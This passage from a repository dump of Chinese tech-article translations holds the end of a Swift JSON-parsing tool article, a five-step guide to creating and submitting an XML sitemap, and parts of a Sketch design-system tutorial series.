Swift.DecodingError.Context(codingPath: [], debugDescription: \"No value associated with key CodingKeys(stringValue: \\\"posts\\\", intValue: nil) (\\\"posts\\\").\", underlyingError: nil))\n\n$ echo '{ \"posts\" : [ { } ] }' | swift run web-api\nkeyNotFound(CodingKeys(stringValue: \"title\", intValue: nil), Swift.DecodingError.Context(codingPath: [CodingKeys(stringValue: \"posts\", intValue: nil), _JSONKey(stringValue: \"Index 0\", intValue: 0)], debugDescription: \"No value associated with key CodingKeys(stringValue: \\\"title\\\", intValue: nil) (\\\"title\\\").\", underlyingError: nil))\n\n$ echo '{ \"posts\" : [ { \"title\" : \"Some post\" } ] }' | swift run web-api\nkeyNotFound(CodingKeys(stringValue: \"tags\", intValue: nil), Swift.DecodingError.Context(codingPath: [CodingKeys(stringValue: \"posts\", intValue: nil), _JSONKey(stringValue: \"Index 0\", intValue: 0)], debugDescription: \"No value associated with key CodingKeys(stringValue: \\\"tags\\\", intValue: nil) (\\\"tags\\\").\", underlyingError: nil))\n```\n\n*   第一个例子是错误的，因为它没有 `posts`\n*   第二个例子也是错误的，因为 `posts` 没有 `title` \n*   第三个例子还是错误的，因为 `posts` 没有 `tags` \n\n**在实际应用中，我将用管道的方式输出一个实时或暂存断点的 `curl` 结果，而非手写的 JSON 代码。**\n\n这真的很酷，因为我可以看到生产代码没有解析其中的一些示例，并且我可以看到解释了错误原因的信息。如果没有这个工具，我需要手动运行应用程序并找出一种方法来获取不同的 JSON 有效负载而来运行解析逻辑。\n\n### 总结\n\n本文介绍了通过 SPM 使用生产代码来创建工具的基本技术。你可以真正地运行它并创建一些漂亮的工作流程，例如：\n\n*   将该工具添加为 web-api 的持续集成管道中作为一个步骤，以确保使移动客户端崩溃的部署不会发生。\n*   展开该工具以应用业务规则（来自生产代码）以查看是否在提要，解析或业务规则层级引入了错误。\n\n我已经开始在我自己的项目中使用这个想法了，我很高兴它能帮助我和我团队的其他成员。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/creating-website-sitemap.md",
    "content": "> * 原文地址：[5 Easy Steps to Creating a Sitemap For a Website](https://www.quicksprout.com/creating-website-sitemap/)\n> * 原文作者：[quicksprout](https://www.quicksprout.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/creating-website-sitemap.md](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-website-sitemap.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[Chorer](https://github.com/Chorer)，[Gavin](https://github.com/redagavin)\n\n# 5 个简单步骤为您的网站创建 Sitemap\n\n## 创建和提交 sitemap 所需的一切\n\n当您想要让您的网站位居搜索引擎的前列时，您需要利用尽可能多的 SEO 技巧。创建 sitemap 绝对是一种可以帮助[提高您 SEO 策略](https://www.quicksprout.com/university/how-to-optimize-your-robots-txt-file/)的技术。\n\n## 什么是 sitemap？\n\n有些人已经对它很熟悉了。但是，在我向您展示如何建立您自己的 sitemap 之前，我会给您一个关于 sitemap 基础知识的速成课程。\n\n简单来说，sitemap，或者说 XML sitemap，是网站上不同页面的列表。XML是“extensible markup language”的缩写，这是在站点上显示信息的一种方式。 \n  \n我咨询过很多站长，他们之所以被吓到是因为他们认为 sitemap 是 SEO 的技术组成部分。但实际上，创建 sitemap 并不需要您成为一个技术大牛或是有技术背景的人。看完这篇教程之后，您很快就会发现这实际上并不难。\n\n## 为什么你需要 sitemap？\n\n像 Google 这样的搜索引擎，一直致力于向人们展示任何给定的搜索查询中最相关的结果。为了有效地做到这一点，他们使用站点爬虫来读取、组织和索引互联网上的信息。\n\nXML sitemap 使搜索引擎爬虫更容易读取站点上的内容并相应地为页面建立索引。因此，这增加了[提高您的网站 SEO 排名](https://www.quicksprout.com/ways-to-improve-seo-ranking/)的机会。\n\n您的 sitemap 会告诉搜索引擎您的网站上某个页面的位置，它是何时更新的，更新的频率如何，以及这个网页的重要性根据它和您网站上其他页面的关联。如果没有合适的 sitemap，Google 机器人可能会认为您的网站有重复的内容，这实际上会降低您的 SEO 排名。\n\n如果您已经准备好让您的网站更快地被搜索引擎索引，那么只需遵循以下五个简单的步骤来创建 sitemap。\n\n### 第 1 步: 检查页面的结构\n\n您需要做的第一件事是查看您的网站上的现有内容以及所有内容的结构。\n\n看看这个 [sitemap 模板](https://nationalgriefawarenessday.com/48796/website-sitemap-template)，并弄明白如何用一张表来表示您的网页。\n\n![网页 sitemap 模版](https://quicksprout-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/website-sitemap-template.png)\n\n这是一个简单易懂的例子。\n\n一切都从主页开始。然后，问问自己主页会链接到哪些页面去。您可能已经根据您网站上的菜单选项找到了答案。\n\n但说到 SEO，并不是所有页面的排名都是一样的。当您处理页面的 SEO 时，您必须记住您网站的深度。要明白一点：离您的网站主页越远的页面排名越靠后。\n\n根据 [搜索引擎日志](https://www.searchenginejournal.com/website-structure-affects-seo/186553/) 这篇文章的说法，您应该致力于创建深度较浅的 sitemap，这意味着只需单击三下即可导航到您网站上的任何页面。对于SEO而言，这会是极好的。\n\n因此，您需要基于页面的重要级别和您希望的它们被索引的方式，来创建一个页面层次结构。按照逻辑层次决定你的内容的优先顺序。如果您不太明白，可以看看这个[例子](https://blog.hubspot.com/marketing/build-sitemap-website)。\n\n![页面层次结构](https://quicksprout-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/page-hierarchy.png)\n\n正如您所看到的，ABOUT页面链接到 Our Team 页面以及 Mission & Values 页面。然后，Our Team 页面链接到  Management 页面和 Contact Us 页面。\n\n[“关于”页面是最重要的](https://www.quicksprout.com/how-to-create-about-page/)，这就是为什么它位于顶级导航层。将 Management 页面放在与 PRODUCTS 页面、PRICING 页面和 BLOGS 页面同一级别是不合理的，这就是为什么它属于第三级层次。\n\n同样，如果 Basic 页面位于 Compare Packages 页面的上方，则会使逻辑结构被打乱。\n\n所以，请使用这些可视化的 sitemap 模板来确定页面的组织。你们中的有些人可能已经有一个合理的网站结构，只需要进行一些微调即可。\n\n请记住，您应该尽可能实现在三次单击之内就可以到达每个页面。\n\n### 第 2 步：修改您的 URL\n\n现在您已经浏览并确定了每个页面的重要性，也根据重要性安排了网站结构，是时候对这些 URL 进行修改了。\n\n实现这个的方法是使用 XML 标签编排每个 URL 的格式。如果您写过一些 HTML，这对您来说简直是小菜一碟。如前所述，XML 中的 ML 代表”标记语言“（markup language），所以它和 HTML 是类似的。\n\n即使您是第一次接触它，这也并不难。首先打开一个您可以在其中创建 XML 文件的文本编辑器。\n\n就文本编辑器而言，[Sublime Text](https://www.sublimetext.com/) 对您来说会是一个不错的选择。\n\n![Sublime Text 文本编辑器](https://quicksprout-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/sublime-text-editor.png)\n\n接着，为每个 URL 添加相应的代码。\n\n* 网站地址（location）\n* 上一次更新的时间（last changed）\n* 更新频率（changed frequency）\n* 页面的优先级（priority of page）\n\n下面的一些示例展示了代码的大致样子。\n\n* http://www.examplesite.com/page1\n* 2019-1-10\n* weekly\n* 2\n\n慢慢来，一定要把这件事做好。在添加这段代码时，文本编辑器会使您的工作变得更加轻松，但您仍需保持清晰的头脑。\n\n### 第 3 步：验证代码的正确性\n\n任何您手敲代码的过程，都可能发生人为错误。但是，为了让您的 sitemap 正常运行，您的代码不允许有任何错误。\n\n幸运的是，有一些工具可以帮助验证代码以确保语法的正确。网上有一些软件可以帮助你做到这一点。只要在 Google 上搜索“sitemap validation”（不翻墙的话，就百度搜“sitemap 验证”），您就会发现它们。\n\n我喜欢使用 [XML Sitemap 验证工具](https://www.xml-sitemaps.com/validate-xml-sitemap.html)。\n\n![xml sitemap 生成器](https://quicksprout-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/xml-sitemap-generator.png)\n\n它将挑出代码中的任何错误。\n\n例如，如果您忘记添加结束标记或者类似的东西，这个工具可以很快地发现并进行修复。\n\n### 第 4 步：将 sitemap 添加到站点根目录和 robots.txt\n\n找到网站的根文件夹，并将 sitemap 文件添加到此文件夹中。\n\n这样做实际上也会将页面添加到您的站点，但这并不会有什么问题。事实上，很多网站都有这个页面。你可以输入一个网址，并在后面添加“/sitemap/”，看看会弹出什么。\n\n这是 [Apple](https://www.apple.com/sitemap/) 网站的一个例子。\n\n![apple 的 sitemap](https://quicksprout-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/apple-sitemap.png)\n\n注意每个部分的结构和逻辑层次。这与我们在第一步中讨论的内容有关。\n\n现在，我们可以更进一步。您甚至可以通过在 URL 后添加 “/sitemap.xml” 来查看不同网站上的代码。\n\n这是 [HubSpot](https://www.hubspot.com/sitemap.xml) 网站的 sitemap 的样子。\n\n![hubspot 的 sitemap](https://quicksprout-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/hubspot-sitemap.png)\n\n除了将 sitemap 文件添加到根目录之外，您还需要将其添加到 robots.txt 文件中。您也可以在根文件夹中找到它。\n\n基本上，这可以引导任何索引您网站的爬虫。\n\nrobots.txt 文件有两种不同的用法。您可以对其进行设置，以告诉爬虫有哪些 URL 是您不希望他们在搜寻您的网站时进行索引的。\n\n让我们回到 Apple 官网，看看他们的 [robots.txt 页面](https://www.apple.com/robots.txt) 长什么样子。\n\n![robots.txt](https://quicksprout-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/robots-txt.png)\n\n如您所见，他们 “disallow” 其网站上的多个页面。因此，爬虫会忽略这些网页。\n\n![apple sitemap 文件](https://quicksprout-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/apple-sitemap-files.png)\n\n同时，Apple 也在这里包含了他们的 sitemap 文件。\n\n事实上，并不是所有人都会建议您将 sitemap 添加到 robots.txt 文件中。因此，您自己决定就好。\n\n话是这样说，但是我是一个遵循成功网站和企业最佳实践的坚定信仰者。所以，如果像 Apple 这样的大公司将 sitemap 写到 robots.txt 页面，这或许对我们来说是一个不错的主意。\n\n### 第 5 步：提交 sitemap \n\n现在您的 sitemap 已经创建好并添加到您的站点文件中了，是时候将它们提交给搜索引擎了。\n\n您需要通过 [Google Search Console](https://search.google.com/search-console/about) 来提交。有些人可能已经使用过它了。就算没有，您也可以快速上手。\n\n进入 Search Console 控制面板后，导航至 Crawl > Sitemaps。\n\n![Google search console](https://quicksprout-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/google-search-console.png)\n\n接着，单击屏幕右上角的 Add/Test Sitemap。\n\n这里可以让您在继续下一步之前再次检验 sitemap 是否有错误。显然，您需要修复所发现的任何错误。一旦您的 sitemap 没有错误，点击提交就可以了。Google 将处理这一切。现在爬虫将很容易地索引您的网站，这将提高您的 SEO 排名。\n\n## 代替方案\n\n虽然这五个步骤非常简单明了，但是可能还是会有些人对手动修改网站上的代码感到不舒服。这完全可以理解。幸运的是，还有许多其它的解决方案可以让您不用自己编辑代码也能创建 sitemap。\n\n我将介绍一些最常用的代替方案供您考虑。\n\n### Yoast 插件\n\n如果您有一个 WordPress 网站，您可以安装 [Yoast 插件](https://kb.yoast.com/kb/enable-xml-sitemaps-in-the-wordpress-seo-plugin/)来为您的网站创建 sitemap。\n\nYoast 可以让您通过简单的拨动开关来打开和关闭 sitemap。插件安装好后，您可以从 WordPress 的 SEO 标签页中找到所有 XML sitemap 选项。\n\n### Screaming Frog\n\n[Screaming Frog](https://www.screamingfrog.co.uk/xml-sitemap-generator/) 是一款桌面软件，它提供了大量的 SEO 工具。只要网站的页面不超过 500 页，您就可以免费使用和生成 sitemap。对于那些拥有大型网站的用户，您就需要升级付费版本了。\n\nScreaming Frog 支持我们前面讨论过的所有代码的更改，而且不需要您自己实际编写代码。相反，您根据提示操作就行了，这个提示更友好，而且是用通俗易懂的英语写的。然后 sitemap 文件的代码将自动更改。下面的截图就是我要表达的意思。\n\n![screaming frog 配置](https://quicksprout-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/screaming-frog-configuration.png)\n\n只需选择标签页，更改设置，sitemap 文件就会相应地进行调整。\n\n### Slickplan\n\n我非常喜欢 Slickplan，因为它有可视化的 sitemap 构建功能。您将有机会使用 sitemap 模板，类似于我们前面看到的网站结构模板。\n\n在这里，您可以拖放不同的页面到模板来组织您的网站结构。完成后，如果您对可视化的 sitemap 感到满意，就可以将其导出为 XML 文件。\n\nSlickplan 是付费软件，但它们提供免费试用。如果您在犹豫是否购买它，可以去试试。\n\n## 总结\n\n如果您打算提升一下您的 SEO 策略，您需要做的就是为您的站点创建一个 sitemap。\n\n对您而言 sitemap 再也不是难题了。因为正如这篇指南所介绍的，只需五个步骤即可轻松创建 sitemap。\n\n1. 检查页面的结构\n2. 编辑 URL\n3. 验证代码的正确性\n4. 将 sitemap 添加到站点根目录和 robots.txt\n5. 提交 sitemap\n\n这就完事啦！\n\n对于那些仍然对手动更改网站代码束手无策的人，您还可以选择其它代替方案。尽管互联网上有着大量的 sitemap 相关的资源，但是我推荐的 Yoast 插件，Screaming Frog 和 Slickplan 依然都是很不错的入门选择。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/creating-with-a-design-system-in-sketch-part-one-tutorial.md",
    "content": "> * 原文地址：[Creating with a Design System in Sketch: Part One [Tutorial]](https://medium.com/sketch-app-sources/creating-with-a-design-system-in-sketch-part-one-tutorial-5116e36213f9)\n> * 原文作者：[Marc Andrew](https://medium.com/@marcandrew?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-one-tutorial.md](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-one-tutorial.md)\n> * 译者：[pmwangyang](https://github.com/pmwangyang)\n> * 校对者：[Zheng7426](https://github.com/Zheng7426)\n\n# 在 Sketch 中使用一个设计体系创作：第一部分[教程]\n\n## 在 Sketch 中建立一个设计体系并使用它工作\n\n![](https://cdn-images-1.medium.com/max/1000/1*jwTJroljaX-67eahDjPGKw.png)\n\n### 🎁 想用我的优质 Sketch 设计体系大幅优化你的工作流程吗？你可以点击[这里](https://kissmyui.com/cabana)获取 Cabana。\n\n使用推广码 **MEDIUM25** 购买可享 **75 折**优惠。\n\n![](https://cdn-images-1.medium.com/max/800/1*aEcIFESUCKiFVRpssVQTOA.jpeg)\n\n* * *\n\n**我看到过许多介绍建立 Sketch 设计体系元素的教程，但是很少有教程会实际上教你在练习中创建新的、特别好的设计体系。**\n\n这就是我这一系列教程想要做的 —— 不仅仅是教你创建设计体系的元素，还有如何用你创建的体系设计一个适配多个设备的 iOS App，并且告诉你我如何构建自己的体系以及背后的思考过程和决策。\n\n### 系列导航\n\n*   **第一部分**\n*   [第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-two-tutorial.md)\n*   [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-three-tutorial.md)\n*   [第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-four-tutorial.md)\n*   [第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-five-tutorial.md)\n*   [第六部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-six-tutorial.md)\n*   [第七部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-seven-tutorial.md)\n*   [第八部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-eight-tutorial.md)\n*   [第九部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-nine-tutorial.md)\n\n* * *\n\n![](https://cdn-images-1.medium.com/max/1000/1*a-kVsheThBDPzeyMSGDLjQ.jpeg)\n\n### 设计体系总览\n\n好，在我们埋头开始设计我们这非常华丽且风格类似 Medium 的 iOS 应用之前（谁说山寨来着？），我们对一会教程中将要用到的设计体系（基于 Cabana-Lite）的 Sketch 文件进行一个快速概览。\n\n在设计版式（开始）文件中有三个页面……\n\n*   _Design System (Setup)_ **设计体系（设置）**\n*   _Symbols_ **组件**\n*   _Format_ **格式**\n\n让我们按顺序说……\n\n#### 设计体系（设置）\n\n![](https://cdn-images-1.medium.com/max/800/1*5K_jofmNF-5emgDSd7PejA.jpeg)\n\n这就是见证奇迹的地方！这里可以管理你的项目中至少 90% 的样式。\n\n设置这些元素为基准颜色或文字样例，这样你调整它们的时候，你的所有设计都会自动适应变化。\n\n你在这里的所有改动会映射到组件页面（一会我们会涉及），当然，也会自动适应到你当前的画板上。\n\n在这个页面上有 2 个画板……\n\n*   _Colors + Overlays + Duotone_ （译者注：画板名比较小，注意左上角>_<）\n*   _Typography_ (我们会在第二部分涉及到这个画板)\n\n#### Colors + Overlays + Duotone （颜色 + 覆盖色 + 双色调）\n\n![](https://cdn-images-1.medium.com/max/800/1*9DjFvdT281n_nZb2sLgejA.jpeg)\n\n通过这个画板你可以看到，我将所有的颜色资源组织到了一起。如基准色（Base Colors），叠加色（Color Overlays）和图片效果（在这个例子里是双色调效果 “Duotone Image”）。\n\n其实在我个人的 Cabana 设计体系里我做了一点分割，将基准色、叠加色添加到了 Colors 画板，像双色调图之类的添加到另一个名为 Various 的画板，这个画板还包含渐变、边框阴影等。但我想让你感觉这个教程更紧凑些，所以采取这样的布局方式，还可以吧？\n\n#### Base Colors（基准颜色）\n\n![](https://cdn-images-1.medium.com/max/800/1*EEaKR_Kq0sLD54eRgFbLJQ.jpeg)\n\n在这个系列教程里，设计我们的 iOS App 只需要 4 种基准色。如果你创建你自己的体系，需要在一个大型项目中覆盖所有的基准色，创建像下面这些基准色是一个明智的选择（当然这只是建议）……\n\n*   _Primary_ **（原色，译者注：或者可以称为“主题色”）**\n*   _Secondary_ **（二次色）**\n*   _Tertiary_ **（第三色）**\n*   _Black_ **（黑色）**\n*   _Grey_ **（灰色）**\n*   _Light Grey_ **（淡灰色）**\n*   _Success_ **（成功色）**\n*   _Warning_ **（警告色）**\n*   _Error_ **（错误色）**\n\n你可以把上面的列表替换成自己想要的内容，比如移除第三色、添加另一种深度的灰色，以获得一些自定义元素，来完成适合自己设计体系的一些项目。\n\n好，让我们回头看看这些基准色，我给你一些在我自己的设计体系中设置基础颜色的秘诀 —— 使用 **图层样式**。\n\n我们首先设置一下原色描边，创建一个 **200x200** 的矩形（快捷键“R”），移除填充色，用我选定的十六进制颜色设置 **1px** 的描边，并设置圆角半径为 **4**。\n\n![](https://cdn-images-1.medium.com/max/800/1*Vn_ITS4EHqh7sxlvtjujRA.jpeg)\n\n然后创建一个新的图层样式（在 Prototyping 栏中选择 Create new Layer Style）……\n\n![](https://cdn-images-1.medium.com/max/800/1*mK2HsJYdyNqsEJ6rgaytgg.jpeg)\n\n并把它命名为 _Border/Primary_ **（描边/原色）**……\n\n![](https://cdn-images-1.medium.com/max/800/1*rz6lSqepDeLmbYjPreTwEQ.jpeg)\n\n再设置一个原色填充矩形，创建一个**200x200** 的矩形（快捷键“R”），选择我选定的十六进制颜色，并设置圆角半径为 **4**。\n\n![](https://cdn-images-1.medium.com/max/800/1*Q0JRENrjTqBCSwpQHOrvqQ.jpeg)\n\n然后创建一个新的图层样式并命名为 _Fill/Primary_ **（填充/原色）**。\n\n![](https://cdn-images-1.medium.com/max/800/1*Xs9Crw81EXCXdh4MCwHiVA.jpeg)\n\n然后我将这两个矩形重叠，你可能要问，为什么这么做？\n\n这允许我们使用这样的设计体系时，仅仅选择一次就能很容易的修改图层样式，从而改变描边和填充色。\n\n这样占据的屏幕更小，并且最重要的是，比这儿放一个 **A 元素**那儿放一个 **B 元素**改动起来快多了。\n\n接下来，我在合适的位置设置好所有的基准色和对应的图层样式后，给它们设置好名称（比如 Primary、Black、Grey 等等）。\n\n![](https://cdn-images-1.medium.com/max/800/1*zleRk-jDNjwSQM0rnyZXhw.jpeg)\n\n现在我有了方便的参考点，并且鼠标点几下就能调整。比如，如果需要改变原色，选中它，再选择图层样式，就全部搞定了不是吗？不需要任何多余操作，也不用忍受“不不不，我不是要选中这个元素”这种令人抓狂的事。\n\n接下来重复这个过程，将我上文提到过的所有其他基准色（黑色、灰色等等）设置好图层样式，命名为和 _Border/Primary_ 和 _Fill/Primary_ 同样的格式。\n\n#### Color Overlays （颜色叠加层）\n\n![](https://cdn-images-1.medium.com/max/800/1*_NEQy-MOpVB6kRL4PtdjIA.jpeg)\n\n在这个教程里，我只在叠加颜色中建立了一个名为 Black（黑色）的叠加层。\n\n把 Black 层叠加到图片上来调整对比度很容易，它的十六进制色统一地取自基准色 _Black_**（黑色）**。\n\n就像我提到的基准色一样，举一反三，在你的设计体系中，实际上只要让叠加层来匹配以下几个基准色……\n\n*   _Primary_ **原色**\n*   _Secondary_ **二次色**\n*   _Black_**（刚刚这个例子中使用的）**\n\n我来给你一些指引，告诉你如何创建颜色叠加层，当然，在我的设计体系里，还是使用图层样式。\n\n现在我主要讲解下面教程里将要用到的黑色叠加层。\n\n创建一个 **432x248** （这个尺寸是我随便选的，你可以设置其他尺寸）的矩形（快捷键“R”）并设置圆角半径为 **4**（个人喜好，这样看起来更漂亮一些），粘贴之前创建的 Black 基准色的十六进制色值，然后设置不透明度为 60%。\n\n![](https://cdn-images-1.medium.com/max/800/1*OCNWm39eED210ruevgB85w.jpeg)\n\n然后创建一个新的名为 _Overlay/Black_**（叠加层/黑色）**的图层样式。\n\n![](https://cdn-images-1.medium.com/max/800/1*kVA7DcMOm0NF1oaRrcno-A.jpeg)\n\n这就完成了，但是考虑到这个叠加层 99% 的情况是覆盖在一个图片上，我想现在最明智的事，是在新的叠加图层样式旁边添加一个小小的预览。就像我刚刚提到的，它在我的设计中位于图片的顶部，这意味着我可以更好的预览叠加层的效果，并且允许我调整它的不透明度，直到我对结果满意为止。\n\n让我来教你怎么做……\n\n首先创建一个和前面创建过的颜色叠加层尺寸一致的矩形（R），并且用图片填充它。\n\n![](https://cdn-images-1.medium.com/max/800/1*U8AQvkA5u9n8KCw5loa8gQ.jpeg)\n\n接下来创建一个同样尺寸的矩形（R），覆盖在图片上，然后套用刚刚创建的 _Overlay/Black_**（叠加层/黑色）**图层样式。\n\n![](https://cdn-images-1.medium.com/max/800/1*khyh4RrFpHT1aH4jYjCC_w.jpeg)\n\n就像我刚才说的一样，现在我有一个实时的预览，可以观察叠加层添加到图像时的外观，并可以相应地调整，直到我对结果满意为止。\n\n#### Duotone （双色调图）\n\n最后，让我们来学习双色调图片，我们在教程中只展示了一种双色调图片样式，但是在 Cabana 设计体系中我创建了 9 种之多。\n\n是的，像双色调图片或者渐变的存在只是为了好看，并不是你自己设计体系里像基准色和阴影（译者注：也可译为“图层阴影”）一样的必要元素。但我为什么提到它们呢？因为你永远不会知道你的项目中会包含什么玩意儿。\n\n好，在我们完成这部分教程之前，让我告诉你如何用我自己的体设计系和设计版式（开始）文件快速创建双色调图片，我们可以称之为“奖励关卡” ^_^\n\n像我刚刚做叠加层图像预览一样，创建一个矩形（R），用图像填充它。\n\n![](https://cdn-images-1.medium.com/max/800/1*BYB-1sB80cuCUX2ASs6u-g.jpeg)\n\n然后只需要在元素中添加几个额外的填充颜色，并调整混合模式，直到有一些颜色可以透过来，就像文件中包含的示例那样，这就叫“双色调”（当当当当！过关~）……\n\n*   _#041674_ & _Lighten_ **光照**\n*   _#1EDE81_ & _Multiply_ **正片叠底**\n\n![](https://cdn-images-1.medium.com/max/800/1*H_XjH44nZrhzyKyCVev12Q.jpeg)\n\n![](https://cdn-images-1.medium.com/max/800/1*N-Tpy9zVquh_XpAhoL7rew.jpeg)\n\n我们来优化一下，在检查器中拖拽来重新排列填充样式，直到如下图所示\n\n![](https://cdn-images-1.medium.com/max/800/1*dhaaEb1gIlKKkNXTcwMFvA.jpeg)\n\n现在给这个预览起个酷炫狂拽吊炸天的名字（比如：哥布林），机智如我！\n\n* * *\n\n好了，这一系列教程的第一部分就圆满结束了，记得回来和我一起学习第二部分哦。第二部分会涉及设计体系中的文字排版，还有我如何整合这一部分到设计体系中的重要的提示和建议。\n\n**跳转到第二部分点击[这里](https://medium.com/sketch-app-sources/creating-with-a-design-system-in-sketch-part-two-tutorial-445e0264556a)…**\n\n### 🎁 想用我的优质 Sketch 设计体系大幅优化你的工作流程吗？你可以点击[这里](https://kissmyui.com/cabana)获取 Cabana。\n\n使用推广码 **MEDIUM25** 购买可享 **75 折**优惠。\n\n**感谢阅读**\n\n**马克**\n\n**设计师、作家、父亲以及哈什·布朗斯的爱人**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/creating-with-a-design-system-in-sketch-part-two-tutoria.md",
    "content": "> * 原文地址：[Creating with a Design System in Sketch: Part Two [Tutorial]](https://medium.com/sketch-app-sources/creating-with-a-design-system-in-sketch-part-two-tutorial-445e0264556a)\n> * 原文作者：[Marc Andrew](https://medium.com/@marcandrew?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-two-tutoria.md](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-two-tutoria.md)\n> * 译者：[Zheng7426](https://github.com/Zheng7426)\n> * 校对者：[pmwangyang](https://github.com/pmwangyang)\n\n#  在 Sketch 中使用一个设计体系创作: 第二部分 [教程]\n\n## 创建和玩转一个 Sketch 的设计体系 \n\n* * *\n\n### 🎁 想用我这针对 Sketch 的优质设计体系来飞速提升你的工作流程吗？你可以从[这里](https://kissmyui.com/cabana)获取一份 Cabana。\n\n输入这个促销码 **MEDIUM25** 就能得到 **七五折的优惠**。\n\n![](https://cdn-images-1.medium.com/max/800/1*aEcIFESUCKiFVRpssVQTOA.jpeg)\n\n* * *\n\n我在这个全面的系列教程里会给你提供关于如何构建你自己设计体系有价值的干货（以及我如何构建自己的体系），之后在为一个叫 **format** 的 App (风格类似 Medium 网页）构建设计时咱们把这些学过的元素都整合在一起并实践出来。\n\n### 本系列教程目录\n\n*   [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-one-tutorial.md)\n*   **第二讲**\n*   [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-three-tutorial.md)\n*   [第四部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-four-tutorial.md)\n*   [第五部分](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-with-a-design-system-in-sketch-part-five-tutorial.md)\n*   